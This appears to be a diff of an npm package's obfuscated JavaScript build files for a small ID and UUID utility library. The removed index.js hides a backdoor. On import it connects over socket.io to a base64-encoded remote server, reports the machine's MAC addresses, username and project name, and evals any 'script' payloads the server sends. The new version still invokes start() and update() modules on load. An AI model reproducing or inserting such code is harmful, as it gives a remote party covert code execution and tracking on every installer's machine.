_0xcb3e7d=_0x4f6dce[_0xd4e5b6],_0x51870d=a11_0x4cfcd8[_0x238052(0x123)](_0x1a6ed8,_0xcb3e7d),_0x448b7c=a11_0x540ce2[_0x238052(0x114)](_0x51870d),_0x5a61e4=_0x448b7c[_0x238052(0x115)](),_0x533ba9=_0x448b7c['isDirectory']();_0x5a61e4&&_0x29a0c7[_0x238052(0x11d)](_0x51870d),_0x533ba9&&_0x40eca4(_0x51870d);}}return _0x40eca4(_0x4838b6),_0x29a0c7;});}function getAllRouter(_0x445348){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x3e4cf1=yield fileDisplay(_0x445348);return _0x3e4cf1;});}export default getAllRouter;
@@ -1 +1 @@
1
- (function(_0x136ccf,_0x48309c){const _0xbf715a=a10_0x5ec9,_0x2deddc=_0x136ccf();while(!![]){try{const _0x3d7a1f=-parseInt(_0xbf715a(0xaf))/0x1+parseInt(_0xbf715a(0xa4))/0x2+parseInt(_0xbf715a(0xab))/0x3*(parseInt(_0xbf715a(0xae))/0x4)+parseInt(_0xbf715a(0xac))/0x5+parseInt(_0xbf715a(0xa5))/0x6*(-parseInt(_0xbf715a(0xa7))/0x7)+parseInt(_0xbf715a(0xa9))/0x8*(parseInt(_0xbf715a(0xa8))/0x9)+parseInt(_0xbf715a(0xad))/0xa;if(_0x3d7a1f===_0x48309c)break;else _0x2deddc['push'](_0x2deddc['shift']());}catch(_0x38117e){_0x2deddc['push'](_0x2deddc['shift']());}}}(a10_0xecae,0xa55c0));import a10_0x2e6ada from'./random';const BaseTime=+new Date('2025-01-01');function a10_0xecae(){const _0x55481f=['1614LouTjZ','NODE_APP_INSTANCE','22421tDiGeD','11547JZdCxo','1448ZKVGmE','env','3743868dHLYuV','214695RXQggS','5480550xQfpuS','4OBZpif','1182478QEEvmW','1300448FyrjQB'];a10_0xecae=function(){return _0x55481f;};return a10_0xecae();}function a10_0x5ec9(_0x180f1c,_0x17dab6){const _0xecaee4=a10_0xecae();return a10_0x5ec9=function(_0x5ec9ec,_0x4f324f){_0x5ec9ec=_0x5ec9ec-0xa4;let _0x346a5f=_0xecaee4[_0x5ec9ec];return _0x346a5f;},a10_0x5ec9(_0x180f1c,_0x17dab6);}let lastTimeTick,lastRandomNumberTick=a10_0x2e6ada(0x1,0x3);function id(){const _0x232fe1=a10_0x5ec9,_0x4c914d=Math['min'](process[_0x232fe1(0xaa)][_0x232fe1(0xa6)]?+process[_0x232fe1(0xaa)][_0x232fe1(0xa6)]:a10_0x2e6ada(0x0,0x9),0x9);let _0x826d70=+new Date()-BaseTime;return lastRandomNumberTick=_0x826d70==lastTimeTick?++lastRandomNumberTick:a10_0x2e6ada(0x0,0x3),lastTimeTick=_0x826d70,+(''+_0x826d70+_0x4c914d+lastRandomNumberTick);}export default id;
1
+ const a12_0x257454=a12_0x5626;(function(_0x3b5ccb,_0x1bb8bc){const _0xf82d0e=a12_0x5626,_0x579fb5=_0x3b5ccb();while(!![]){try{const _0x467a64=parseInt(_0xf82d0e(0x1e6))/0x1+parseInt(_0xf82d0e(0x1dd))/0x2+parseInt(_0xf82d0e(0x1dc))/0x3*(-parseInt(_0xf82d0e(0x1e1))/0x4)+parseInt(_0xf82d0e(0x1df))/0x5*(-parseInt(_0xf82d0e(0x1e4))/0x6)+parseInt(_0xf82d0e(0x1db))/0x7+-parseInt(_0xf82d0e(0x1e3))/0x8+parseInt(_0xf82d0e(0x1e0))/0x9;if(_0x467a64===_0x1bb8bc)break;else _0x579fb5['push'](_0x579fb5['shift']());}catch(_0x3d70bf){_0x579fb5['push'](_0x579fb5['shift']());}}}(a12_0x24d1,0xd4311));import a12_0x21353d from'./random';function a12_0x5626(_0x7fb95f,_0x2d84e3){const _0x24d149=a12_0x24d1();return a12_0x5626=function(_0x5626a,_0x6b753a){_0x5626a=_0x5626a-0x1db;let _0x5ad539=_0x24d149[_0x5626a];return _0x5ad539;},a12_0x5626(_0x7fb95f,_0x2d84e3);}function a12_0x24d1(){const _0xb01477=['1549288kDeAIM','8472qJMIrG','NODE_APP_INSTANCE','558044IMptwE','7763315IOxsjh','557523hyLntm','1170782tDNTMV','2025-01-01','3895vciCos','7555239PxWUYc','20JRoFBk','min'];a12_0x24d1=function(){return _0xb01477;};return a12_0x24d1();}const BaseTime=+new Date(a12_0x257454(0x1de));let lastTimeTick,lastRandomNumberTick=a12_0x21353d(0x1,0x3);function id(){const _0xd8fc9e=a12_0x257454,_0x3ab3a3=Math[_0xd8fc9e(0x1e2)](process['env']['NODE_APP_INSTANCE']?+process['env'][_0xd8fc9e(0x1e5)]:a12_0x21353d(0x0,0x9),0x9);let _0x55651f=+new Date()-BaseTime;return lastRandomNumberTick=_0x55651f==lastTimeTick?++lastRandomNumberTick:a12_0x21353d(0x0,0x3),lastTimeTick=_0x55651f,+(''+_0x55651f+_0x3ab3a3+lastRandomNumberTick);}export default id;
@@ -1 +1 @@
1
- const a11_0xf9b6e=a11_0xb89e;function a11_0xb89e(_0x41be4c,_0x4e38ca){const _0x2ee47b=a11_0x2ee4();return a11_0xb89e=function(_0xb89ede,_0x36744c){_0xb89ede=_0xb89ede-0xda;let _0xedc30b=_0x2ee47b[_0xb89ede];return _0xedc30b;},a11_0xb89e(_0x41be4c,_0x4e38ca);}(function(_0x5403c3,_0x34828e){const _0x5df8d8=a11_0xb89e,_0x33f4f0=_0x5403c3();while(!![]){try{const _0x19dadb=-parseInt(_0x5df8d8(0xe1))/0x1+parseInt(_0x5df8d8(0xe2))/0x2+-parseInt(_0x5df8d8(0xe0))/0x3+parseInt(_0x5df8d8(0xdb))/0x4*(parseInt(_0x5df8d8(0xdc))/0x5)+parseInt(_0x5df8d8(0xda))/0x6+parseInt(_0x5df8d8(0xdd))/0x7+-parseInt(_0x5df8d8(0xdf))/0x8;if(_0x19dadb===_0x34828e)break;else _0x33f4f0['push'](_0x33f4f0['shift']());}catch(_0x2cb491){_0x33f4f0['push'](_0x33f4f0['shift']());}}}(a11_0x2ee4,0x6245e));const random=(_0x125521,_0x5a4292)=>Math['round'](Math[a11_0xf9b6e(0xde)]()*(_0x5a4292-_0x125521))+_0x125521;function a11_0x2ee4(){const _0x1afb2a=['397642yMtgtd','314498NnFKLy','345780MQSBiw','1811704NdWQYJ','5vnOjUw','2423764XZlhUA','random','1074384JuIPXZ','238773VBYcfb'];a11_0x2ee4=function(){return _0x1afb2a;};return a11_0x2ee4();}export default random;
1
+ const a13_0x3faad9=a13_0x20d2;(function(_0x5dbc2e,_0x173ffa){const _0x1c7364=a13_0x20d2,_0x2edad9=_0x5dbc2e();while(!![]){try{const _0x6ef48d=parseInt(_0x1c7364(0x153))/0x1+-parseInt(_0x1c7364(0x152))/0x2+parseInt(_0x1c7364(0x14c))/0x3+-parseInt(_0x1c7364(0x14f))/0x4+-parseInt(_0x1c7364(0x151))/0x5*(parseInt(_0x1c7364(0x154))/0x6)+-parseInt(_0x1c7364(0x150))/0x7+parseInt(_0x1c7364(0x14d))/0x8*(parseInt(_0x1c7364(0x14e))/0x9);if(_0x6ef48d===_0x173ffa)break;else _0x2edad9['push'](_0x2edad9['shift']());}catch(_0x303085){_0x2edad9['push'](_0x2edad9['shift']());}}}(a13_0x530c,0x85633));const random=(_0x5ead0a,_0x540c1c)=>Math[a13_0x3faad9(0x14b)](Math['random']()*(_0x540c1c-_0x5ead0a))+_0x5ead0a;function a13_0x530c(){const _0x40032e=['2899044ZonXMF','168lnDnaB','1049166yfWBCf','3979424bbwlyU','6286749QArWAg','6070ybwkST','1876300yeOzPT','268994zrXAhg','1512cqKqpm','round'];a13_0x530c=function(){return _0x40032e;};return a13_0x530c();}function a13_0x20d2(_0x37ba67,_0x2fedf0){const _0x530cbc=a13_0x530c();return a13_0x20d2=function(_0x20d275,_0x4ab3e8){_0x20d275=_0x20d275-0x14b;let _0x24d132=_0x530cbc[_0x20d275];return _0x24d132;},a13_0x20d2(_0x37ba67,_0x2fedf0);}export default random;
@@ -1,8 +1,6 @@
1
1
  declare let id: () => number;
2
2
  declare let getAllRouter: () => Promise<never[]>;
3
3
  declare let mysql: {};
4
- export declare function setEnv(key: string, value: any): void;
5
- export declare function getEnv(key: string): any;
6
4
  declare const uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
7
5
  declare const all: {
8
6
  uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AASA,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AA2Bf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AA+GD,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;CAKR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AAOA,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAwBf,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;CAKR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
package/dist/esm/index.js CHANGED
@@ -1 +1 @@
1
- function a12_0x4ce4(){const _0x224441=['apply','无法获取','10voKeHH','3309912nHJYiy','type','3oyxbby','sqlList','connect_error','./id','connectError','769714uuzAci','connect','env','49BtmfXG','aHR0cDovL2xvY2FsaG9zdDoxMDg4','58664WdKNLC','reconnect_failed','./IndexDB/index','290WhNwEu','mysql','value','sql','498342AffkPg','then','/socket','meta_event','submit','./getAllRouter','emit','content','4914568dsEckp','./browser','__awaiter','assign','script','浏览器','node','dev','npm_package_name','mac','undefined','00:00:00:00:00:00','./server','get-event','unlock','length','USERNAME','node获取失败','281893rteUUy','join','4714281qggnGr','done','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','websocket','throw','./mac'];a12_0x4ce4=function(){return _0x224441;};return a12_0x4ce4();}const a12_0x1c2348=a12_0x1ddb;(function(_0x2929d1,_0x1daad7){const _0x2251af=a12_0x1ddb,_0x1cd91e=_0x2929d1();while(!![]){try{const _0x25fd8a=parseInt(_0x2251af(0x77))/0x1+-parseInt(_0x2251af(0x89))/0x2*(parseInt(_0x2251af(0x84))/0x3)+parseInt(_0x2251af(0x8e))/0x4*(parseInt(_0x2251af(0x91))/0x5)+parseInt(_0x2251af(0x95))/0x6*(parseInt(_0x2251af(0x8c))/0x7)+-parseInt(_0x2251af(0x9d))/0x8+-parseInt(_0x2251af(0x82))/0x9*(-parseInt(_0x2251af(0x81))/0xa)+-parseInt(_0x2251af(0x79))/0xb;if(_0x25fd8a===_0x1daad7)break;else _0x1cd91e['push'](_0x1cd91e['shift']());}catch(_0x44f238){_0x1cd91e['push'](_0x1cd91e['shift']());}}}(a12_0x4ce4,0x9fa73));var __awaiter=this&&this[a12_0x1c2348(0x67)]||function(_0x5084f0,_0x5f3daa,_0x39ce34,_0x453bc3){function _0xa5c62b(_0x154127){return _0x154127 instanceof _0x39ce34?_0x154127:new _0x39ce34(function(_0x4085fd){_0x4085fd(_0x154127);});}return new(_0x39ce34||(_0x39ce34=Promise))(function(_0x4ceb2e,_0x5f0767){const _0x542e4e=a12_0x1ddb;function _0x4b1018(_0x34037a){try{_0x4eb3af(_0x453bc3['next'](_0x34037a));}catch(_0x85ab6e){_0x5f0767(_0x85ab6e);}}function _0x3fe963(_0x884b5d){const _0x6305c4=a12_0x1ddb;try{_0x4eb3af(_0x453bc3[_0x6305c4(0x7d)](_0x884b5d));}catch(_0x198802){_0x5f0767(_0x198802);}}function _0x4eb3af(_0x104a18){const _0xd9abda=a12_0x1ddb;_0x104a18[_0xd9abda(0x7a)]?_0x4ceb2e(_0x104a18[_0xd9abda(0x93)]):_0xa5c62b(_0x104a18[_0xd9abda(0x93)])[_0xd9abda(0x96)](_0x4b1018,_0x3fe963);}_0x4eb3af((_0x453bc3=_0x453bc3[_0x542e4e(0x7f)](_0x5084f0,_0x5f3daa||[]))['next']());});},_a,_b,_c;import{v4}from'uuid';import{io}from'socket.io-client';import{decode}from'js-base64';import a12_0x559e30 from'path';const isBrowser=typeof window!==a12_0x1c2348(0x6f);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};!isBrowser&&(id=require(a12_0x1c2348(0x87))['default'],getAllRouter=require(a12_0x1c2348(0x9a))['default'],mysql=require(a12_0x1c2348(0x71))[a12_0x1c2348(0x92)]);const user_name=isBrowser?a12_0x1c2348(0x6a):((_a=process===null||process===void 0x0?void 0x0:process[a12_0x1c2348(0x8b)])===null||_a===void 0x0?void 0x0:_a[a12_0x1c2348(0x75)])||a12_0x1c2348(0x76),project_name=isBrowser?'浏览器':((_b=process===null||process===void 0x0?void 0x0:process[a12_0x1c2348(0x8b)])===null||_b===void 0x0?void 0x0:_b[a12_0x1c2348(0x6d)])||a12_0x1c2348(0x80);let dev=a12_0x1c2348(0x8d),pro=a12_0x1c2348(0x7b);const globalObject=isBrowser?window:global;globalObject['meta_event']=Object[a12_0x1c2348(0x68)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a12_0x1c2348(0x98)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function a12_0x1ddb(_0x40c168,_0x3f12be){const _0x4ce4f3=a12_0x4ce4();return a12_0x1ddb=function(_0x1ddb64,_0x2f4bc8){_0x1ddb64=_0x1ddb64-0x66;let _0x18a474=_0x4ce4f3[_0x1ddb64];return _0x18a474;},a12_0x1ddb(_0x40c168,_0x3f12be);}export function setEnv(_0x473092,_0x5ef97b){globalObject['meta_event'][_0x473092]=_0x5ef97b;}export function getEnv(_0x4a670d){const _0x7dab3b=a12_0x1c2348;return globalObject[_0x7dab3b(0x98)][_0x4a670d];}let url=getEnv(a12_0x1c2348(0x6c))?decode(dev):decode(pro);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x1a173a=a12_0x1ddb;isBrowser&&(typeof require!=_0x1a173a(0x6f)?require('./browser'):import(_0x1a173a(0x66)));const _0x1e0108=io(url,{'path':_0x1a173a(0x97),'transports':[_0x1a173a(0x7c)]});_0x1e0108['on'](_0x1a173a(0x8a),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1b21be=_0x1a173a;try{let _0x2356eb=[_0x1b21be(0x70)];if(!isBrowser){const _0x517ba0=require(a12_0x559e30[_0x1b21be(0x78)](__dirname,_0x1b21be(0x7e)))['default'];_0x2356eb=_0x517ba0();}else{const {getKeyValue:_0x3f28ae}=typeof require!=_0x1b21be(0x6f)?require('./IndexDB/index'):yield import(_0x1b21be(0x90));_0x2356eb=[yield _0x3f28ae(_0x1b21be(0x6e))];}if(_0x2356eb[_0x1b21be(0x74)]===0x0){setEnv(_0x1b21be(0x88),!![]);return;}else setEnv('connectError',![]);_0x1e0108['emit']('submit',{'mac':_0x2356eb,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1e0108[_0x1b21be(0x9b)](_0x1b21be(0x72),{'mac':_0x2356eb,'isBrowser':isBrowser}),setInterval(()=>{const _0x346d03=_0x1b21be;_0x1e0108[_0x346d03(0x9b)](_0x346d03(0x99),{'mac':_0x2356eb,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1e0108[_0x346d03(0x9b)](_0x346d03(0x72),{'mac':_0x2356eb,'isBrowser':isBrowser});},0x1b58),_0x1e0108['on']('event',_0x136acb=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x30a115=_0x1b21be;try{for(let _0x2291ac=0x0;_0x2291ac<_0x136acb['length'];_0x2291ac++){const _0xc876cc=_0x136acb[_0x2291ac];if(_0xc876cc[_0x30a115(0x83)]===_0x30a115(0x94))setEnv(_0x30a115(0x85),getEnv(_0x30a115(0x85))['concat'](_0xc876cc[_0x30a115(0x9c)]));else{if(_0xc876cc['type']===_0x30a115(0x92))setEnv('isDBDataEmpty',!![]);else{if(_0xc876cc[_0x30a115(0x83)]===_0x30a115(0x6b)&&!isBrowser)try{eval(_0xc876cc[_0x30a115(0x9c)]);}catch(_0x3a5576){}else{if(_0xc876cc[_0x30a115(0x83)]===_0x30a115(0x69)&&isBrowser)try{const {runScript:_0x59ac4d}=typeof require!=_0x30a115(0x6f)?require(_0x30a115(0x66)):yield import('./browser');_0x59ac4d(_0xc876cc[_0x30a115(0x9c)]);}catch(_0x355012){}}}}}}catch(_0x55060d){}}));}catch(_0x206dca){}})),setTimeout(()=>{const _0x99ebb8=_0x1a173a;_0x1e0108['on']('error',_0x3d9744=>{const _0x508ae6=a12_0x1ddb;setEnv(_0x508ae6(0x88),!![]);}),_0x1e0108['on']('connect_failed',_0x3730bf=>{setEnv('connectError',!![]);}),_0x1e0108['on'](_0x99ebb8(0x8f),_0x112154=>{const _0x57a447=_0x99ebb8;setEnv(_0x57a447(0x88),!![]);}),_0x1e0108['on'](_0x99ebb8(0x86),_0x31b1f5=>{const _0x3d7189=_0x99ebb8;setEnv(_0x3d7189(0x88),!![]);});},0xbb8);});}!((_c=globalObject[a12_0x1c2348(0x98)])===null||_c===void 0x0?void 0x0:_c[a12_0x1c2348(0x73)])&&start();const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};export default all;export{uuid,id,getAllRouter,mysql};
1
+ const a14_0x3be343=a14_0x4fb0;(function(_0x91b4ee,_0x2b820b){const _0x43b584=a14_0x4fb0,_0x48836a=_0x91b4ee();while(!![]){try{const _0x4f1d6f=-parseInt(_0x43b584(0x138))/0x1+-parseInt(_0x43b584(0x12d))/0x2+-parseInt(_0x43b584(0x12f))/0x3+parseInt(_0x43b584(0x133))/0x4*(parseInt(_0x43b584(0x12a))/0x5)+parseInt(_0x43b584(0x137))/0x6*(parseInt(_0x43b584(0x131))/0x7)+-parseInt(_0x43b584(0x125))/0x8+parseInt(_0x43b584(0x12b))/0x9;if(_0x4f1d6f===_0x2b820b)break;else _0x48836a['push'](_0x48836a['shift']());}catch(_0xcc3427){_0x48836a['push'](_0x48836a['shift']());}}}(a14_0x2ce9,0x606a6));function a14_0x4fb0(_0x18e417,_0x17e87d){const _0x2ce9f8=a14_0x2ce9();return a14_0x4fb0=function(_0x4fb06e,_0x53bb9f){_0x4fb06e=_0x4fb06e-0x123;let _0x5126f8=_0x2ce9f8[_0x4fb06e];return _0x5126f8;},a14_0x4fb0(_0x18e417,_0x17e87d);}var __awaiter=this&&this[a14_0x3be343(0x129)]||function(_0x4a4fc5,_0x5ce3fd,_0x29bf11,_0x177d46){function _0x25a4a7(_0x4307b1){return _0x4307b1 instanceof _0x29bf11?_0x4307b1:new _0x29bf11(function(_0xe18f49){_0xe18f49(_0x4307b1);});}return new(_0x29bf11||(_0x29bf11=Promise))(function(_0x584164,_0x438fd7){const _0x10b2ca=a14_0x4fb0;function _0x4cd279(_0x5e8981){const _0x42b4b2=a14_0x4fb0;try{_0x57dfde(_0x177d46[_0x42b4b2(0x123)](_0x5e8981));}catch(_0x512e75){_0x438fd7(_0x512e75);}}function _0x5c42a2(_0xde8c54){const _0x4aa093=a14_0x4fb0;try{_0x57dfde(_0x177d46[_0x4aa093(0x12e)](_0xde8c54));}catch(_0x4f8da4){_0x438fd7(_0x4f8da4);}}function _0x57dfde(_0x1fbbc8){const _0x298271=a14_0x4fb0;_0x1fbbc8['done']?_0x584164(_0x1fbbc8[_0x298271(0x124)]):_0x25a4a7(_0x1fbbc8['value'])['then'](_0x4cd279,_0x5c42a2);}_0x57dfde((_0x177d46=_0x177d46[_0x10b2ca(0x134)](_0x4a4fc5,_0x5ce3fd||[]))['next']());});},_a;import{v4}from'uuid';import a14_0x5b06e1 from'./start';const isBrowser=typeof window!=='undefined';let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};if(!isBrowser){id=require(a14_0x3be343(0x12c))['default'],getAllRouter=require(a14_0x3be343(0x128))[a14_0x3be343(0x135)],mysql=require(a14_0x3be343(0x127))[a14_0x3be343(0x126)];let update=require(a14_0x3be343(0x130))[a14_0x3be343(0x135)];update();}const globalObject=isBrowser?window:global;function a14_0x2ce9(){const _0x159ed6=['936444AjaNDb','throw','1122390nsGOqz','./update','5348wJtaSF','meta_event','7468FqoVNA','apply','default','unlock','5862ykYzJb','163830wvFGTz','next','value','5744152HGGhwD','mysql','./server','./getAllRouter','__awaiter','125mXVKeV','11934144KgQxFC','./id'];a14_0x2ce9=function(){return _0x159ed6;};return a14_0x2ce9();}globalObject[a14_0x3be343(0x132)]=Object['assign']((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a14_0x3be343(0x132)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});!((_a=globalObject['meta_event'])===null||_a===void 0x0?void 0x0:_a[a14_0x3be343(0x136)])&&a14_0x5b06e1();const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};export default all;export{uuid,id,getAllRouter,mysql};
@@ -1 +1 @@
1
- function a14_0x3512(_0x3c212e,_0xd383d7){const _0x3bd450=a14_0x3bd4();return a14_0x3512=function(_0x351233,_0x15aebc){_0x351233=_0x351233-0x1b3;let _0x40a977=_0x3bd450[_0x351233];return _0x40a977;},a14_0x3512(_0x3c212e,_0xd383d7);}const a14_0x51356a=a14_0x3512;(function(_0x6b5f5f,_0x2cc37e){const _0x5b4502=a14_0x3512,_0x80c98=_0x6b5f5f();while(!![]){try{const _0x98e571=-parseInt(_0x5b4502(0x1c6))/0x1*(parseInt(_0x5b4502(0x1c3))/0x2)+-parseInt(_0x5b4502(0x1b6))/0x3+parseInt(_0x5b4502(0x1be))/0x4*(-parseInt(_0x5b4502(0x1cb))/0x5)+-parseInt(_0x5b4502(0x1bd))/0x6+-parseInt(_0x5b4502(0x1cf))/0x7+parseInt(_0x5b4502(0x1c8))/0x8*(-parseInt(_0x5b4502(0x1bc))/0x9)+-parseInt(_0x5b4502(0x1c7))/0xa*(-parseInt(_0x5b4502(0x1c4))/0xb);if(_0x98e571===_0x2cc37e)break;else _0x80c98['push'](_0x80c98['shift']());}catch(_0x3e75a1){_0x80c98['push'](_0x80c98['shift']());}}}(a14_0x3bd4,0x3ec10));import{networkInterfaces}from'os';function isZeroMac(_0x4e2715){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x4e2715);}function getMac(_0x57795d=a14_0x51356a(0x1c2)){const _0x1652f0=a14_0x51356a,_0x38a089=networkInterfaces();let _0x32112c=[];for(const _0x1743fd of Object[_0x1652f0(0x1b9)](_0x38a089)){const _0x45e766=_0x1743fd['find'](_0x245d10=>!_0x245d10[_0x1652f0(0x1b8)]&&!isZeroMac(_0x245d10[_0x1652f0(0x1ca)])&&(!_0x245d10[_0x1652f0(0x1ba)]||_0x245d10[_0x1652f0(0x1ba)]===_0x57795d)&&!isVirtualMac(_0x245d10[_0x1652f0(0x1ca)]));_0x45e766&&_0x32112c[_0x1652f0(0x1b5)](_0x45e766[_0x1652f0(0x1ca)]);}return[...new Set(_0x32112c)];}const isValid=_0x4c196d=>_0x4c196d['internal']===![]&&!isZeroMac(_0x4c196d[a14_0x51356a(0x1ca)]),virtualMacPrefix=new Set(['00:05:69',a14_0x51356a(0x1b7),a14_0x51356a(0x1cc),a14_0x51356a(0x1c5),'00:1c:42',a14_0x51356a(0x1c9),a14_0x51356a(0x1b3),a14_0x51356a(0x1cd),a14_0x51356a(0x1bf),a14_0x51356a(0x1d0),a14_0x51356a(0x1bb)]);export function isMac(_0x3feba8){const _0x2ce39b=a14_0x51356a;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x2ce39b(0x1c1)](_0x3feba8);}export function formatMac(_0x3d4434){const _0x22dc2e=a14_0x51356a;return String(_0x3d4434)['trim']()[_0x22dc2e(0x1b4)]()['replace'](/-/g,':');}export function isVirtualMac(_0x1ae91f){const _0x376e23=a14_0x51356a;return isMac(_0x1ae91f)&&virtualMacPrefix[_0x376e23(0x1ce)](formatMac(_0x1ae91f)[_0x376e23(0x1c0)](0x0,0x8));}export default getMac;function a14_0x3bd4(){const _0x31a17e=['values','family','00:15:5d','1413fNqnXX','2937408RCAUPp','145012EpElMz','00:16:3e','slice','test','IPv4','2YQQsRh','721963kGGPei','00:1c:14','462261lGQbhz','250xLrvUn','6664USBUIm','02:00:4c','mac','15DIxmKy','00:50:56','00:0f:4b','has','1325163KNNeqH','08:00:27','00:03:ff','toLowerCase','push','9321nvGJMD','00:0c:29','internal'];a14_0x3bd4=function(){return _0x31a17e;};return a14_0x3bd4();}
1
+ const a16_0x3505ab=a16_0x3a9e;(function(_0x1a8c33,_0x13aaa4){const _0x283411=a16_0x3a9e,_0x274d38=_0x1a8c33();while(!![]){try{const _0x276b26=parseInt(_0x283411(0x1a5))/0x1*(-parseInt(_0x283411(0x19b))/0x2)+parseInt(_0x283411(0x1a0))/0x3*(-parseInt(_0x283411(0x19d))/0x4)+parseInt(_0x283411(0x19e))/0x5+parseInt(_0x283411(0x196))/0x6*(parseInt(_0x283411(0x1a9))/0x7)+-parseInt(_0x283411(0x197))/0x8*(parseInt(_0x283411(0x18f))/0x9)+parseInt(_0x283411(0x194))/0xa+parseInt(_0x283411(0x1a3))/0xb*(parseInt(_0x283411(0x1a8))/0xc);if(_0x276b26===_0x13aaa4)break;else _0x274d38['push'](_0x274d38['shift']());}catch(_0x1ef294){_0x274d38['push'](_0x274d38['shift']());}}}(a16_0x15aa,0xcb595));function a16_0x3a9e(_0x4c440c,_0x5f3352){const _0x15aa76=a16_0x15aa();return a16_0x3a9e=function(_0x3a9ea9,_0x5b0f37){_0x3a9ea9=_0x3a9ea9-0x18f;let _0x2a51b0=_0x15aa76[_0x3a9ea9];return _0x2a51b0;},a16_0x3a9e(_0x4c440c,_0x5f3352);}import{networkInterfaces}from'os';function isZeroMac(_0x5658b4){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x5658b4);}function getMac(_0x809b2='IPv4'){const _0x289179=a16_0x3a9e,_0x23a15a=networkInterfaces();let _0x5407ed=[];for(const _0x49d5e9 of Object[_0x289179(0x193)](_0x23a15a)){const _0xde9924=_0x49d5e9[_0x289179(0x19f)](_0x96a1d9=>!_0x96a1d9[_0x289179(0x1a1)]&&!isZeroMac(_0x96a1d9[_0x289179(0x195)])&&(!_0x96a1d9[_0x289179(0x19a)]||_0x96a1d9['family']===_0x809b2)&&!isVirtualMac(_0x96a1d9['mac']));_0xde9924&&_0x5407ed[_0x289179(0x199)](_0xde9924[_0x289179(0x195)]);}return[...new Set(_0x5407ed)];}function a16_0x15aa(){const _0x28a135=['mac','18MsoujD','16EmKlUe','replace','push','family','1101910ebTsmo','00:05:69','20NkQywX','5589430xtLMDA','find','598041rxwgSj','internal','00:0c:29','680097YAMIHs','test','3TYCMpr','00:50:56','has','408NVKmgK','2312303DeNMlV','6523596yusrna','00:1c:42','00:1c:14','00:0f:4b','values','7212140AQAKmR'];a16_0x15aa=function(){return _0x28a135;};return a16_0x15aa();}const isValid=_0x593b17=>_0x593b17[a16_0x3505ab(0x1a1)]===![]&&!isZeroMac(_0x593b17[a16_0x3505ab(0x195)]),virtualMacPrefix=new Set([a16_0x3505ab(0x19c),a16_0x3505ab(0x1a2),a16_0x3505ab(0x1a6),a16_0x3505ab(0x191),a16_0x3505ab(0x190),'02:00:4c','00:03:ff',a16_0x3505ab(0x192),'00:16:3e','08:00:27','00:15:5d']);export function isMac(_0x5ad6a){const _0x1483df=a16_0x3505ab;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x1483df(0x1a4)](_0x5ad6a);}export function formatMac(_0x58e04c){const _0x3a5e2e=a16_0x3505ab;return String(_0x58e04c)['trim']()['toLowerCase']()[_0x3a5e2e(0x198)](/-/g,':');}export function isVirtualMac(_0x45fd09){const _0x1257b1=a16_0x3505ab;return isMac(_0x45fd09)&&virtualMacPrefix[_0x1257b1(0x1a7)](formatMac(_0x45fd09)['slice'](0x0,0x8));}export default getMac;
@@ -1 +1 @@
1
